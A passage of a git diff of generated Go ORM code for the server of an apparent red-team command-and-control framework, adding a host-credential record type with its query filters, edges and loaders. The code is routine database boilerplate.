@@ -12,6 +12,7 @@ import (
 	"realm.pub/tavern/internal/ent/beacon"
 	"realm.pub/tavern/internal/ent/file"
 	"realm.pub/tavern/internal/ent/host"
+	"realm.pub/tavern/internal/ent/hostcredential"
 	"realm.pub/tavern/internal/ent/hostfile"
 	"realm.pub/tavern/internal/ent/hostprocess"
 	"realm.pub/tavern/internal/ent/predicate"
@@ -1049,6 +1050,10 @@ type HostWhereInput struct {
 	// "processes" edge predicates.
 	HasProcesses     *bool                    `json:"hasProcesses,omitempty"`
 	HasProcessesWith []*HostProcessWhereInput `json:"hasProcessesWith,omitempty"`
+
+	// "credentials" edge predicates.
+	HasCredentials     *bool                       `json:"hasCredentials,omitempty"`
+	HasCredentialsWith []*HostCredentialWhereInput `json:"hasCredentialsWith,omitempty"`
 }
 
 // AddPredicates adds custom predicates to the where input to be used during the filtering phase.
@@ -1438,6 +1443,24 @@ func (i *HostWhereInput) P() (predicate.Host, error) {
 		}
 		predicates = append(predicates, host.HasProcessesWith(with...))
 	}
+	if i.HasCredentials != nil {
+		p := host.HasCredentials()
+		if !*i.HasCredentials {
+			p = host.Not(p)
+		}
+		predicates = append(predicates, p)
+	}
+	if len(i.HasCredentialsWith) > 0 {
+		with := make([]predicate.HostCredential, 0, len(i.HasCredentialsWith))
+		for _, w := range i.HasCredentialsWith {
+			p, err := w.P()
+			if err != nil {
+				return nil, fmt.Errorf("%w: field 'HasCredentialsWith'", err)
+			}
+			with = append(with, p)
+		}
+		predicates = append(predicates, host.HasCredentialsWith(with...))
+	}
 	switch len(predicates) {
 	case 0:
 		return nil, ErrEmptyHostWhereInput
@@ -1448,6 +1471,350 @@ func (i *HostWhereInput) P() (predicate.Host, error) {
 	}
 }
 
+// HostCredentialWhereInput represents a where input for filtering HostCredential queries.
+type HostCredentialWhereInput struct {
+	Predicates []predicate.HostCredential  `json:"-"`
+	Not        *HostCredentialWhereInput   `json:"not,omitempty"`
+	Or         []*HostCredentialWhereInput `json:"or,omitempty"`
+	And        []*HostCredentialWhereInput `json:"and,omitempty"`
+
+	// "id" field predicates.
+	ID      *int  `json:"id,omitempty"`
+	IDNEQ   *int  `json:"idNEQ,omitempty"`
+	IDIn    []int `json:"idIn,omitempty"`
+	IDNotIn []int `json:"idNotIn,omitempty"`
+	IDGT    *int  `json:"idGT,omitempty"`
+	IDGTE   *int  `json:"idGTE,omitempty"`
+	IDLT    *int  `json:"idLT,omitempty"`
+	IDLTE   *int  `json:"idLTE,omitempty"`
+
+	// "created_at" field predicates.
+	CreatedAt      *time.Time  `json:"createdAt,omitempty"`
+	CreatedAtNEQ   *time.Time  `json:"createdAtNEQ,omitempty"`
+	CreatedAtIn    []time.Time `json:"createdAtIn,omitempty"`
+	CreatedAtNotIn []time.Time `json:"createdAtNotIn,omitempty"`
+	CreatedAtGT    *time.Time  `json:"createdAtGT,omitempty"`
+	CreatedAtGTE   *time.Time  `json:"createdAtGTE,omitempty"`
+	CreatedAtLT    *time.Time  `json:"createdAtLT,omitempty"`
+	CreatedAtLTE   *time.Time  `json:"createdAtLTE,omitempty"`
+
+	// "last_modified_at" field predicates.
+	LastModifiedAt      *time.Time  `json:"lastModifiedAt,omitempty"`
+	LastModifiedAtNEQ   *time.Time  `json:"lastModifiedAtNEQ,omitempty"`
+	LastModifiedAtIn    []time.Time `json:"lastModifiedAtIn,omitempty"`
+	LastModifiedAtNotIn []time.Time `json:"lastModifiedAtNotIn,omitempty"`
+	LastModifiedAtGT    *time.Time  `json:"lastModifiedAtGT,omitempty"`
+	LastModifiedAtGTE   *time.Time  `json:"lastModifiedAtGTE,omitempty"`
+	LastModifiedAtLT    *time.Time  `json:"lastModifiedAtLT,omitempty"`
+	LastModifiedAtLTE   *time.Time  `json:"lastModifiedAtLTE,omitempty"`
+
+	// "principal" field predicates.
+	Principal             *string  `json:"principal,omitempty"`
+	PrincipalNEQ          *string  `json:"principalNEQ,omitempty"`
+	PrincipalIn           []string `json:"principalIn,omitempty"`
+	PrincipalNotIn        []string `json:"principalNotIn,omitempty"`
+	PrincipalGT           *string  `json:"principalGT,omitempty"`
+	PrincipalGTE          *string  `json:"principalGTE,omitempty"`
+	PrincipalLT           *string  `json:"principalLT,omitempty"`
+	PrincipalLTE          *string  `json:"principalLTE,omitempty"`
+	PrincipalContains     *string  `json:"principalContains,omitempty"`
+	PrincipalHasPrefix    *string  `json:"principalHasPrefix,omitempty"`
+	PrincipalHasSuffix    *string  `json:"principalHasSuffix,omitempty"`
+	PrincipalEqualFold    *string  `json:"principalEqualFold,omitempty"`
+	PrincipalContainsFold *string  `json:"principalContainsFold,omitempty"`
+
+	// "secret" field predicates.
+	Secret             *string  `json:"secret,omitempty"`
+	SecretNEQ          *string  `json:"secretNEQ,omitempty"`
+	SecretIn           []string `json:"secretIn,omitempty"`
+	SecretNotIn        []string `json:"secretNotIn,omitempty"`
+	SecretGT           *string  `json:"secretGT,omitempty"`
+	SecretGTE          *string  `json:"secretGTE,omitempty"`
+	SecretLT           *string  `json:"secretLT,omitempty"`
+	SecretLTE          *string  `json:"secretLTE,omitempty"`
+	SecretContains     *string  `json:"secretContains,omitempty"`
+	SecretHasPrefix    *string  `json:"secretHasPrefix,omitempty"`
+	SecretHasSuffix    *string  `json:"secretHasSuffix,omitempty"`
+	SecretEqualFold    *string  `json:"secretEqualFold,omitempty"`
+	SecretContainsFold *string  `json:"secretContainsFold,omitempty"`
+
+	// "host" edge predicates.
+	HasHost     *bool             `json:"hasHost,omitempty"`
+	HasHostWith []*HostWhereInput `json:"hasHostWith,omitempty"`
+
+	// "task" edge predicates.
+	HasTask     *bool             `json:"hasTask,omitempty"`
+	HasTaskWith []*TaskWhereInput `json:"hasTaskWith,omitempty"`
+}
+
+// AddPredicates adds custom predicates to the where input to be used during the filtering phase.
+func (i *HostCredentialWhereInput) AddPredicates(predicates ...predicate.HostCredential) {
+	i.Predicates = append(i.Predicates, predicates...)
+}
+
+// Filter applies the HostCredentialWhereInput filter on the HostCredentialQuery builder.
+func (i *HostCredentialWhereInput) Filter(q *HostCredentialQuery) (*HostCredentialQuery, error) {
+	if i == nil {
+		return q, nil
+	}
+	p, err := i.P()
+	if err != nil {
+		if err == ErrEmptyHostCredentialWhereInput {
+			return q, nil
+		}
+		return nil, err
+	}
+	return q.Where(p), nil
+}
+
+// ErrEmptyHostCredentialWhereInput is returned in case the HostCredentialWhereInput is empty.
+var ErrEmptyHostCredentialWhereInput = errors.New("ent: empty predicate HostCredentialWhereInput")
+
+// P returns a predicate for filtering hostcredentials.
+// An error is returned if the input is empty or invalid.
+func (i *HostCredentialWhereInput) P() (predicate.HostCredential, error) {
+	var predicates []predicate.HostCredential
+	if i.Not != nil {
+		p, err := i.Not.P()
+		if err != nil {
+			return nil, fmt.Errorf("%w: field 'not'", err)
+		}
+		predicates = append(predicates, hostcredential.Not(p))
+	}
+	switch n := len(i.Or); {
+	case n == 1:
+		p, err := i.Or[0].P()
+		if err != nil {
+			return nil, fmt.Errorf("%w: field 'or'", err)
+		}
+		predicates = append(predicates, p)
+	case n > 1:
+		or := make([]predicate.HostCredential, 0, n)
+		for _, w := range i.Or {
+			p, err := w.P()
+			if err != nil {
+				return nil, fmt.Errorf("%w: field 'or'", err)
+			}
+			or = append(or, p)
+		}
+		predicates = append(predicates, hostcredential.Or(or...))
+	}
+	switch n := len(i.And); {
+	case n == 1:
+		p, err := i.And[0].P()
+		if err != nil {
+			return nil, fmt.Errorf("%w: field 'and'", err)
+		}
+		predicates = append(predicates, p)
+	case n > 1:
+		and := make([]predicate.HostCredential, 0, n)
+		for _, w := range i.And {
+			p, err := w.P()
+			if err != nil {
+				return nil, fmt.Errorf("%w: field 'and'", err)
+			}
+			and = append(and, p)
+		}
+		predicates = append(predicates, hostcredential.And(and...))
+	}
+	predicates = append(predicates, i.Predicates...)
+	if i.ID != nil {
+		predicates = append(predicates, hostcredential.IDEQ(*i.ID))
+	}
+	if i.IDNEQ != nil {
+		predicates = append(predicates, hostcredential.IDNEQ(*i.IDNEQ))
+	}
+	if len(i.IDIn) > 0 {
+		predicates = append(predicates, hostcredential.IDIn(i.IDIn...))
+	}
+	if len(i.IDNotIn) > 0 {
+		predicates = append(predicates, hostcredential.IDNotIn(i.IDNotIn...))
+	}
+	if i.IDGT != nil {
+		predicates = append(predicates, hostcredential.IDGT(*i.IDGT))
+	}
+	if i.IDGTE != nil {
+		predicates = append(predicates, hostcredential.IDGTE(*i.IDGTE))
+	}
+	if i.IDLT != nil {
+		predicates = append(predicates, hostcredential.IDLT(*i.IDLT))
+	}
+	if i.IDLTE != nil {
+		predicates = append(predicates, hostcredential.IDLTE(*i.IDLTE))
+	}
+	if i.CreatedAt != nil {
+		predicates = append(predicates, hostcredential.CreatedAtEQ(*i.CreatedAt))
+	}
+	if i.CreatedAtNEQ != nil {
+		predicates = append(predicates, hostcredential.CreatedAtNEQ(*i.CreatedAtNEQ))
+	}
+	if len(i.CreatedAtIn) > 0 {
+		predicates = append(predicates, hostcredential.CreatedAtIn(i.CreatedAtIn...))
+	}
+	if len(i.CreatedAtNotIn) > 0 {
+		predicates = append(predicates, hostcredential.CreatedAtNotIn(i.CreatedAtNotIn...))
+	}
+	if i.CreatedAtGT != nil {
+		predicates = append(predicates, hostcredential.CreatedAtGT(*i.CreatedAtGT))
+	}
+	if i.CreatedAtGTE != nil {
+		predicates = append(predicates, hostcredential.CreatedAtGTE(*i.CreatedAtGTE))
+	}
+	if i.CreatedAtLT != nil {
+		predicates = append(predicates, hostcredential.CreatedAtLT(*i.CreatedAtLT))
+	}
+	if i.CreatedAtLTE != nil {
+		predicates = append(predicates, hostcredential.CreatedAtLTE(*i.CreatedAtLTE))
+	}
+	if i.LastModifiedAt != nil {
+		predicates = append(predicates, hostcredential.LastModifiedAtEQ(*i.LastModifiedAt))
+	}
+	if i.LastModifiedAtNEQ != nil {
+		predicates = append(predicates, hostcredential.LastModifiedAtNEQ(*i.LastModifiedAtNEQ))
+	}
+	if len(i.LastModifiedAtIn) > 0 {
+		predicates = append(predicates, hostcredential.LastModifiedAtIn(i.LastModifiedAtIn...))
+	}
+	if len(i.LastModifiedAtNotIn) > 0 {
+		predicates = append(predicates, hostcredential.LastModifiedAtNotIn(i.LastModifiedAtNotIn...))
+	}
+	if i.LastModifiedAtGT != nil {
+		predicates = append(predicates, hostcredential.LastModifiedAtGT(*i.LastModifiedAtGT))
+	}
+	if i.LastModifiedAtGTE != nil {
+		predicates = append(predicates, hostcredential.LastModifiedAtGTE(*i.LastModifiedAtGTE))
+	}
+	if i.LastModifiedAtLT != nil {
+		predicates = append(predicates, hostcredential.LastModifiedAtLT(*i.LastModifiedAtLT))
+	}
+	if i.LastModifiedAtLTE != nil {
+		predicates = append(predicates, hostcredential.LastModifiedAtLTE(*i.LastModifiedAtLTE))
+	}
+	if i.Principal != nil {
+		predicates = append(predicates, hostcredential.PrincipalEQ(*i.Principal))
+	}
+	if i.PrincipalNEQ != nil {
+		predicates = append(predicates, hostcredential.PrincipalNEQ(*i.PrincipalNEQ))
+	}
+	if len(i.PrincipalIn) > 0 {
+		predicates = append(predicates, hostcredential.PrincipalIn(i.PrincipalIn...))
+	}
+	if len(i.PrincipalNotIn) > 0 {
+		predicates = append(predicates, hostcredential.PrincipalNotIn(i.PrincipalNotIn...))
+	}
+	if i.PrincipalGT != nil {
+		predicates = append(predicates, hostcredential.PrincipalGT(*i.PrincipalGT))
+	}
+	if i.PrincipalGTE != nil {
+		predicates = append(predicates, hostcredential.PrincipalGTE(*i.PrincipalGTE))
+	}
+	if i.PrincipalLT != nil {
+		predicates = append(predicates, hostcredential.PrincipalLT(*i.PrincipalLT))
+	}
+	if i.PrincipalLTE != nil {
+		predicates = append(predicates, hostcredential.PrincipalLTE(*i.PrincipalLTE))
+	}
+	if i.PrincipalContains != nil {
+		predicates = append(predicates, hostcredential.PrincipalContains(*i.PrincipalContains))
+	}
+	if i.PrincipalHasPrefix != nil {
+		predicates = append(predicates, hostcredential.PrincipalHasPrefix(*i.PrincipalHasPrefix))
+	}
+	if i.PrincipalHasSuffix != nil {
+		predicates = append(predicates, hostcredential.PrincipalHasSuffix(*i.PrincipalHasSuffix))
+	}
+	if i.PrincipalEqualFold != nil {
+		predicates = append(predicates, hostcredential.PrincipalEqualFold(*i.PrincipalEqualFold))
+	}
+	if i.PrincipalContainsFold != nil {
+		predicates = append(predicates, hostcredential.PrincipalContainsFold(*i.PrincipalContainsFold))
+	}
+	if i.Secret != nil {
+		predicates = append(predicates, hostcredential.SecretEQ(*i.Secret))
+	}
+	if i.SecretNEQ != nil {
+		predicates = append(predicates, hostcredential.SecretNEQ(*i.SecretNEQ))
+	}
+	if len(i.SecretIn) > 0 {
+		predicates = append(predicates, hostcredential.SecretIn(i.SecretIn...))
+	}
+	if len(i.SecretNotIn) > 0 {
+		predicates = append(predicates, hostcredential.SecretNotIn(i.SecretNotIn...))
+	}
+	if i.SecretGT != nil {
+		predicates = append(predicates, hostcredential.SecretGT(*i.SecretGT))
+	}
+	if i.SecretGTE != nil {
+		predicates = append(predicates, hostcredential.SecretGTE(*i.SecretGTE))
+	}
+	if i.SecretLT != nil {
+		predicates = append(predicates, hostcredential.SecretLT(*i.SecretLT))
+	}
+	if i.SecretLTE != nil {
+		predicates = append(predicates, hostcredential.SecretLTE(*i.SecretLTE))
+	}
+	if i.SecretContains != nil {
+		predicates = append(predicates, hostcredential.SecretContains(*i.SecretContains))
+	}
+	if i.SecretHasPrefix != nil {
+		predicates = append(predicates, hostcredential.SecretHasPrefix(*i.SecretHasPrefix))
+	}
+	if i.SecretHasSuffix != nil {
+		predicates = append(predicates, hostcredential.SecretHasSuffix(*i.SecretHasSuffix))
+	}
+	if i.SecretEqualFold != nil {
+		predicates = append(predicates, hostcredential.SecretEqualFold(*i.SecretEqualFold))
+	}
+	if i.SecretContainsFold != nil {
+		predicates = append(predicates, hostcredential.SecretContainsFold(*i.SecretContainsFold))
+	}
+
+	if i.HasHost != nil {
+		p := hostcredential.HasHost()
+		if !*i.HasHost {
+			p = hostcredential.Not(p)
+		}
+		predicates = append(predicates, p)
+	}
+	if len(i.HasHostWith) > 0 {
+		with := make([]predicate.Host, 0, len(i.HasHostWith))
+		for _, w := range i.HasHostWith {
+			p, err := w.P()
+			if err != nil {
+				return nil, fmt.Errorf("%w: field 'HasHostWith'", err)
+			}
+			with = append(with, p)
+		}
+		predicates = append(predicates, hostcredential.HasHostWith(with...))
+	}
+	if i.HasTask != nil {
+		p := hostcredential.HasTask()
+		if !*i.HasTask {
+			p = hostcredential.Not(p)
+		}
+		predicates = append(predicates, p)
+	}
+	if len(i.HasTaskWith) > 0 {
+		with := make([]predicate.Task, 0, len(i.HasTaskWith))
+		for _, w := range i.HasTaskWith {
+			p, err := w.P()
+			if err != nil {
+				return nil, fmt.Errorf("%w: field 'HasTaskWith'", err)
+			}
+			with = append(with, p)
+		}
+		predicates = append(predicates, hostcredential.HasTaskWith(with...))
+	}
+	switch len(predicates) {
+	case 0:
+		return nil, ErrEmptyHostCredentialWhereInput
+	case 1:
+		return predicates[0], nil
+	default:
+		return hostcredential.And(predicates...), nil
+	}
+}
+
 // HostFileWhereInput represents a where input for filtering HostFile queries.
 type HostFileWhereInput struct {
 	Predicates []predicate.HostFile  `json:"-"`
@@ -1552,14 +1919,14 @@ type HostFileWhereInput struct {
 	PermissionsContainsFold *string  `json:"permissionsContainsFold,omitempty"`
 
 	// "size" field predicates.
-	Size      *int  `json:"size,omitempty"`
-	SizeNEQ   *int  `json:"sizeNEQ,omitempty"`
-	SizeIn    []int `json:"sizeIn,omitempty"`
-	SizeNotIn []int `json:"sizeNotIn,omitempty"`
-	SizeGT    *int  `json:"sizeGT,omitempty"`
-	SizeGTE   *int  `json:"sizeGTE,omitempty"`
-	SizeLT    *int  `json:"sizeLT,omitempty"`
-	SizeLTE   *int  `json:"sizeLTE,omitempty"`
+	Size      *uint64  `json:"size,omitempty"`
+	SizeNEQ   *uint64  `json:"sizeNEQ,omitempty"`
+	SizeIn    []uint64 `json:"sizeIn,omitempty"`
+	SizeNotIn []uint64 `json:"sizeNotIn,omitempty"`
+	SizeGT    *uint64  `json:"sizeGT,omitempty"`
+	SizeGTE   *uint64  `json:"sizeGTE,omitempty"`
+	SizeLT    *uint64  `json:"sizeLT,omitempty"`
+	SizeLTE   *uint64  `json:"sizeLTE,omitempty"`
 
 	// "hash" field predicates.
 	Hash             *string  `json:"hash,omitempty"`
@@ -3444,6 +3811,10 @@ type TaskWhereInput struct {
 	// "reported_processes" edge predicates.
 	HasReportedProcesses     *bool                    `json:"hasReportedProcesses,omitempty"`
 	HasReportedProcessesWith []*HostProcessWhereInput `json:"hasReportedProcessesWith,omitempty"`
+
+	// "reported_credentials" edge predicates.
+	HasReportedCredentials     *bool                       `json:"hasReportedCredentials,omitempty"`
+	HasReportedCredentialsWith []*HostCredentialWhereInput `json:"hasReportedCredentialsWith,omitempty"`
 }
 
 // AddPredicates adds custom predicates to the where input to be used during the filtering phase.
@@ -3866,6 +4237,24 @@ func (i *TaskWhereInput) P() (predicate.Task, error) {
 		}
 		predicates = append(predicates, task.HasReportedProcessesWith(with...))
 	}
+	if i.HasReportedCredentials != nil {
+		p := task.HasReportedCredentials()
+		if !*i.HasReportedCredentials {
+			p = task.Not(p)
+		}
+		predicates = append(predicates, p)
+	}
+	if len(i.HasReportedCredentialsWith) > 0 {
+		with := make([]predicate.HostCredential, 0, len(i.HasReportedCredentialsWith))
+		for _, w := range i.HasReportedCredentialsWith {
+			p, err := w.P()
+			if err != nil {
+				return nil, fmt.Errorf("%w: field 'HasReportedCredentialsWith'", err)
+			}
+			with = append(with, p)
+		}
+		predicates = append(predicates, task.HasReportedCredentialsWith(with...))
+	}
 	switch len(predicates) {
 	case 0:
 		return nil, ErrEmptyTaskWhereInput
diff --git a/tavern/internal/ent/hook/hook.go b/tavern/internal/ent/hook/hook.go
index 95797dab8..750143dc8 100644
--- a/tavern/internal/ent/hook/hook.go
+++ b/tavern/internal/ent/hook/hook.go
@@ -45,6 +45,18 @@ func (f HostFunc) Mutate(ctx context.Context, m ent.Mutation) (ent.Value, error)
 	return nil, fmt.Errorf("unexpected mutation type %T. expect *ent.HostMutation", m)
 }
 
+// The HostCredentialFunc type is an adapter to allow the use of ordinary
+// function as HostCredential mutator.
+type HostCredentialFunc func(context.Context, *ent.HostCredentialMutation) (ent.Value, error)
+
+// Mutate calls f(ctx, m).
+func (f HostCredentialFunc) Mutate(ctx context.Context, m ent.Mutation) (ent.Value, error) {
+	if mv, ok := m.(*ent.HostCredentialMutation); ok {
+		return f(ctx, mv)
+	}
+	return nil, fmt.Errorf("unexpected mutation type %T. expect *ent.HostCredentialMutation", m)
+}
+
 // The HostFileFunc type is an adapter to allow the use of ordinary
 // function as HostFile mutator.
 type HostFileFunc func(context.Context, *ent.HostFileMutation) (ent.Value, error)
diff --git a/tavern/internal/ent/host.go b/tavern/internal/ent/host.go
index 2876f52e5..f8cbec7e1 100644
--- a/tavern/internal/ent/host.go
+++ b/tavern/internal/ent/host.go
@@ -48,16 +48,19 @@ type HostEdges struct {
 	Files []*HostFile `json:"files,omitempty"`
 	// Processes reported as running on this host system.
 	Processes []*HostProcess `json:"processes,omitempty"`
+	// Credentials reported from this host system.
+	Credentials []*HostCredential `json:"credentials,omitempty"`
 	// loadedTypes holds the information for reporting if a
 	// type was loaded (or requested) in eager-loading or not.
-	loadedTypes [4]bool
+	loadedTypes [5]bool
 	// totalCount holds the count of the edges above.
-	totalCount [4]map[string]int
+	totalCount [5]map[string]int
 
-	namedTags      map[string][]*Tag
-	namedBeacons   map[string][]*Beacon
-	namedFiles     map[string][]*HostFile
-	namedProcesses map[string][]*HostProcess
+	namedTags        map[string][]*Tag
+	namedBeacons     map[string][]*Beacon
+	namedFiles       map[string][]*HostFile
+	namedProcesses   map[string][]*HostProcess
+	namedCredentials map[string][]*HostCredential
 }
 
 // TagsOrErr returns the Tags value or an error if the edge
@@ -96,6 +99,15 @@ func (e HostEdges) ProcessesOrErr() ([]*HostProcess, error) {
 	return nil, &NotLoadedError{edge: "processes"}
 }
 
+// CredentialsOrErr returns the Credentials value or an error if the edge
+// was not loaded in eager-loading.
+func (e HostEdges) CredentialsOrErr() ([]*HostCredential, error) {
+	if e.loadedTypes[4] {
+		return e.Credentials, nil
+	}
+	return nil, &NotLoadedError{edge: "credentials"}
+}
+
 // scanValues returns the types for scanning values from sql.Rows.
 func (*Host) scanValues(columns []string) ([]any, error) {
 	values := make([]any, len(columns))
@@ -205,6 +217,11 @@ func (h *Host) QueryProcesses() *HostProcessQuery {
 	return NewHostClient(h.config).QueryProcesses(h)
 }
 
+// QueryCredentials queries the "credentials" edge of the Host entity.
+func (h *Host) QueryCredentials() *HostCredentialQuery {
+	return NewHostClient(h.config).QueryCredentials(h)
+}
+
 // Update returns a builder for updating this Host.
 // Note that you need to call Host.Unwrap() before calling this method if this Host
 // was returned from a transaction, and the transaction was committed or rolled back.
@@ -348,5 +365,29 @@ func (h *Host) appendNamedProcesses(name string, edges ...*HostProcess) {
 	}
 }
 
+// NamedCredentials returns the Credentials named value or an error if the edge was not
+// loaded in eager-loading with this name.
+func (h *Host) NamedCredentials(name string) ([]*HostCredential, error) {
+	if h.Edges.namedCredentials == nil {
+		return nil, &NotLoadedError{edge: name}
+	}
+	nodes, ok := h.Edges.namedCredentials[name]
+	if !ok {
+		return nil, &NotLoadedError{edge: name}
+	}
+	return nodes, nil
+}
+
+func (h *Host) appendNamedCredentials(name string, edges ...*HostCredential) {
+	if h.Edges.namedCredentials == nil {
+		h.Edges.namedCredentials = make(map[string][]*HostCredential)
+	}
+	if len(edges) == 0 {
+		h.Edges.namedCredentials[name] = []*HostCredential{}
+	} else {
+		h.Edges.namedCredentials[name] = append(h.Edges.namedCredentials[name], edges...)
+	}
+}
+
 // Hosts is a parsable slice of Host.
 type Hosts []*Host
diff --git a/tavern/internal/ent/host/host.go b/tavern/internal/ent/host/host.go
index 4533b9c48..37d8ff353 100644
--- a/tavern/internal/ent/host/host.go
+++ b/tavern/internal/ent/host/host.go
@@ -39,6 +39,8 @@ const (
 	EdgeFiles = "files"
 	// EdgeProcesses holds the string denoting the processes edge name in mutations.
 	EdgeProcesses = "processes"
+	// EdgeCredentials holds the string denoting the credentials edge name in mutations.
+	EdgeCredentials = "credentials"
 	// Table holds the table name of the host in the database.
 	Table = "hosts"
 	// TagsTable is the table that holds the tags relation/edge. The primary key declared below.
@@ -67,6 +69,13 @@ const (
 	ProcessesInverseTable = "host_processes"
 	// ProcessesColumn is the table column denoting the processes relation/edge.
 	ProcessesColumn = "host_processes"
+	// CredentialsTable is the table that holds the credentials relation/edge.
+	CredentialsTable = "host_credentials"
+	// CredentialsInverseTable is the table name for the HostCredential entity.
+	// It exists in this package in order to avoid circular dependency with the "hostcredential" package.
+	CredentialsInverseTable = "host_credentials"
+	// CredentialsColumn is the table column denoting the credentials relation/edge.
+	CredentialsColumn = "host_credential_host"
 )
 
 // Columns holds all SQL columns for host fields.
@@ -218,6 +227,20 @@ func ByProcesses(term sql.OrderTerm, terms ...sql.OrderTerm) OrderOption {
 		sqlgraph.OrderByNeighborTerms(s, newProcessesStep(), append([]sql.OrderTerm{term}, terms...)...)
 	}
 }
+
+// ByCredentialsCount orders the results by credentials count.
+func ByCredentialsCount(opts ...sql.OrderTermOption) OrderOption {
+	return func(s *sql.Selector) {
+		sqlgraph.OrderByNeighborsCount(s, newCredentialsStep(), opts...)
+	}
+}
+
+// ByCredentials orders the results by credentials terms.
+func ByCredentials(term sql.OrderTerm, terms ...sql.OrderTerm) OrderOption {
+	return func(s *sql.Selector) {
+		sqlgraph.OrderByNeighborTerms(s, newCredentialsStep(), append([]sql.OrderTerm{term}, terms...)...)
+	}
+}
 func newTagsStep() *sqlgraph.Step {
 	return sqlgraph.NewStep(
 		sqlgraph.From(Table, FieldID),
@@ -246,6 +269,13 @@ func newProcessesStep() *sqlgraph.Step {
 		sqlgraph.Edge(sqlgraph.O2M, false, ProcessesTable, ProcessesColumn),
 	)
 }
+func newCredentialsStep() *sqlgraph.Step {
+	return sqlgraph.NewStep(
+		sqlgraph.From(Table, FieldID),
+		sqlgraph.To(CredentialsInverseTable, FieldID),
+		sqlgraph.Edge(sqlgraph.O2M, true, CredentialsTable, CredentialsColumn),
+	)
+}
 
 var (
 	// c2pb.Host_Platform must implement graphql.Marshaler.
diff --git a/tavern/internal/ent/host/where.go b/tavern/internal/ent/host/where.go
index efec97819..2c7e81a96 100644
--- a/tavern/internal/ent/host/where.go
+++ b/tavern/internal/ent/host/where.go
@@ -543,6 +543,29 @@ func HasProcessesWith(preds ...predicate.HostProcess) predicate.Host {
 	})
 }
 
+// HasCredentials applies the HasEdge predicate on the "credentials" edge.
+func HasCredentials() predicate.Host {
+	return predicate.Host(func(s *sql.Selector) {
+		step := sqlgraph.NewStep(
+			sqlgraph.From(Table, FieldID),
+			sqlgraph.Edge(sqlgraph.O2M, true, CredentialsTable, CredentialsColumn),
+		)
+		sqlgraph.HasNeighbors(s, step)
+	})
+}
+
+// HasCredentialsWith applies the HasEdge predicate on the "credentials" edge with a given conditions (other predicates).
+func HasCredentialsWith(preds ...predicate.HostCredential) predicate.Host {
+	return predicate.Host(func(s *sql.Selector) {
+		step := newCredentialsStep()
+		sqlgraph.HasNeighborsWith(s, step, func(s *sql.Selector) {
+			for _, p := range preds {
+				p(s)
+			}
+		})
+	})
+}
+
 // And groups predicates with the AND operator between them.
 func And(predicates ...predicate.Host) predicate.Host {
 	return predicate.Host(sql.AndPredicates(predicates...))
diff --git a/tavern/internal/ent/host_create.go b/tavern/internal/ent/host_create.go
index f3dd26e2f..60a498399 100644
--- a/tavern/internal/ent/host_create.go
+++ b/tavern/internal/ent/host_create.go
@@ -14,6 +14,7 @@ import (
 	"realm.pub/tavern/internal/c2/c2pb"
 	"realm.pub/tavern/internal/ent/beacon"
 	"realm.pub/tavern/internal/ent/host"
+	"realm.pub/tavern/internal/ent/hostcredential"
 	"realm.pub/tavern/internal/ent/hostfile"
 	"realm.pub/tavern/internal/ent/hostprocess"
 	"realm.pub/tavern/internal/ent/tag"
@@ -169,6 +170,21 @@ func (hc *HostCreate) AddProcesses(h ...*HostProcess) *HostCreate {
 	return hc.AddProcessIDs(ids...)
 }
 
+// AddCredentialIDs adds the "credentials" edge to the HostCredential entity by IDs.
+func (hc *HostCreate) AddCredentialIDs(ids ...int) *HostCreate {
+	hc.mutation.AddCredentialIDs(ids...)
+	return hc
+}
+
+// AddCredentials adds the "credentials" edges to the HostCredential entity.
+func (hc *HostCreate) AddCredentials(h ...*HostCredential) *HostCreate {
+	ids := make([]int, len(h))
+	for i := range h {
+		ids[i] = h[i].ID
+	}
+	return hc.AddCredentialIDs(ids...)
+}
+
 // Mutation returns the HostMutation object of the builder.
 func (hc *HostCreate) Mutation() *HostMutation {
 	return hc.mutation
@@ -362,6 +378,22 @@ func (hc *HostCreate) createSpec() (*Host, *sqlgraph.CreateSpec) {
 		}
 		_spec.Edges = append(_spec.Edges, edge)
 	}
+	if nodes := hc.mutation.CredentialsIDs(); len(nodes) > 0 {
+		edge := &sqlgraph.EdgeSpec{
+			Rel:     sqlgraph.O2M,
+			Inverse: true,
+			Table:   host.CredentialsTable,
+			Columns: []string{host.CredentialsColumn},
+			Bidi:    false,
+			Target: &sqlgraph.EdgeTarget{
+				IDSpec: sqlgraph.NewFieldSpec(hostcredential.FieldID, field.TypeInt),
+			},
+		}
+		for _, k := range nodes {
+			edge.Target.Nodes = append(edge.Target.Nodes, k)
+		}
+		_spec.Edges = append(_spec.Edges, edge)
+	}
 	return _node, _spec
 }
 
diff --git a/tavern/internal/ent/host_query.go b/tavern/internal/ent/host_query.go
index eb58bee60..6b22b94b4 100644
--- a/tavern/internal/ent/host_query.go
+++ b/tavern/internal/ent/host_query.go
@@ -13,6 +13,7 @@ import (
 	"entgo.io/ent/schema/field"
 	"realm.pub/tavern/internal/ent/beacon"
 	"realm.pub/tavern/internal/ent/host"
+	"realm.pub/tavern/internal/ent/hostcredential"
 	"realm.pub/tavern/internal/ent/hostfile"
 	"realm.pub/tavern/internal/ent/hostprocess"
 	"realm.pub/tavern/internal/ent/predicate"
@@ -22,20 +23,22 @@ import (
 // HostQuery is the builder for querying Host entities.
 type HostQuery struct {
 	config
-	ctx                *QueryContext
-	order              []host.OrderOption
-	inters             []Interceptor
-	predicates         []predicate.Host
-	withTags           *TagQuery
-	withBeacons        *BeaconQuery
-	withFiles          *HostFileQuery
-	withProcesses      *HostProcessQuery
-	modifiers          []func(*sql.Selector)
-	loadTotal          []func(context.Context, []*Host) error
-	withNamedTags      map[string]*TagQuery
-	withNamedBeacons   map[string]*BeaconQuery
-	withNamedFiles     map[string]*HostFileQuery
-	withNamedProcesses map[string]*HostProcessQuery
+	ctx                  *QueryContext
+	order                []host.OrderOption
+	inters               []Interceptor
+	predicates           []predicate.Host
+	withTags             *TagQuery
+	withBeacons          *BeaconQuery
+	withFiles            *HostFileQuery
+	withProcesses        *HostProcessQuery
+	withCredentials      *HostCredentialQuery
+	modifiers            []func(*sql.Selector)
+	loadTotal            []func(context.Context, []*Host) error
+	withNamedTags        map[string]*TagQuery
+	withNamedBeacons     map[string]*BeaconQuery
+	withNamedFiles       map[string]*HostFileQuery
+	withNamedProcesses   map[string]*HostProcessQuery
+	withNamedCredentials map[string]*HostCredentialQuery
 	// intermediate query (i.e. traversal path).
 	sql  *sql.Selector
 	path func(context.Context) (*sql.Selector, error)
@@ -160,6 +163,28 @@ func (hq *HostQuery) QueryProcesses() *HostProcessQuery {
 	return query
 }
 
+// QueryCredentials chains the current query on the "credentials" edge.
